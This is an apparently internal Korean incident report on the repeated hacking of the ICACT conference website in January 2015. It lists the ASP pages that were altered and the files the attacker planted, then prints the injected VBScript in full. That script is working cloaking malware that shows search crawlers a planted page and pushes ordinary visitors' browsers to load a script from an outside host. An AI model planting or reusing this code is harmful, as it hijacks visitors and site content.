[핵킹추적] Hecking Tracking Information on 2015-01-13 Tuesday

[윤병남]

[초긴급]핵킹 심각함
오늘 아침 점검시 09:35에도 핵킹이 발견됨
아래목록과 같이 파일 내부에 아래와 같은(지난번과 똑같은)핵킹 코드가 심어지고
디렉토리에 핵킹화일이 생성되어 있음.
+++++++++++++++
핵킹코드삽입된 화일
/icactorg/index.asp
/icactorg/registration/registration.asp
/icactorg/callforpapers/callforJournal.asp
/icactorg/callforpapers/EditorGuide.asp
/icactorg/program/Journal.asp
/icactorg/program/Papers.asp

/icactorg/registration/registration.asp

핵킹으로 만들어져있는 화일
/icactorg/indexs.html
/icactorg/registration/registrations.asp
/icactorg/callforpapers/callforJournals.asp
/icactorg/callforpapers/EditorGuides.asp
/icactorg/imagesindexs.html
/icactorg/program/Journals.asp.txt
/icactorg/program/Paperss.asp
/icactorg/registration/registrations.asp
+++++++++++++++++++++++++++++++++++++++++++==

삽입된 핵킹코드
++++++++++++++++++++
<%@LANGUAGE="VBSCRIPT‎" CODEPAGE="65001"%>
<%
On Error Resume Next
jumpcode="http://www.ishoppingmall.cc/jdclubs.js"
jumpcode="<script type="&chr(34)&"text/javascript"&chr(34)&" src="&chr(34)&jumpcode&chr(34)&"></script>"
desurl="http://icact.org/indexs.html"
function is_spider()
dim s_agent
s_agent=Request.ServerVariables("HTTP_USER_AGENT")

If instr(s_agent,"google")>0 Or instr(s_agent,"yahoo")>0 Or instr(s_agent,"bing")>0 Or instr(s_agent,"msnbot")>0 Or instr(s_agent,"alexa")>0 Or instr(s_agent,"ask")>0 Or instr(s_agent,"findlinks")>0 Or instr(s_agent,"altavista")>0 Or instr(s_agent,"baidu")>0 Or instr(s_agent,"inktomi")>0 Then
is_spider = 1
else
is_spider = 0
end if
end function

Function getHTTPPage(URL)
Set HTTPReq = Server.createobject("Msxml2.XMLHTTP")
HTTPReq.Open "GET", URL, False
HTTPReq.send
If HTTPReq.readyState <> 4 Then Exit Function
getHTTPPage = Bytes2bStr(HTTPReq.responseBody)
Set HTTPReq = Nothing
End Function
Function Bytes2bStr(vin)
Dim BytesStream,StringReturn
Set BytesStream = Server.CreateObject("ADODB.Stream")
BytesStream.Type = 2
BytesStream.Open
BytesStream.WriteText vin
BytesStream.Position = 0
BytesStream.Charset = "UTF-8"
BytesStream.Position = 2
StringReturn =BytesStream.ReadText
BytesStream.close
Set BytesStream = Nothing
Bytes2bStr = StringReturn
End Function
spider = is_spider()
if spider = 1 then

htmls = getHTTPPage(desurl)
response.write htmls
response.end
end if
response.write jumpcode
%>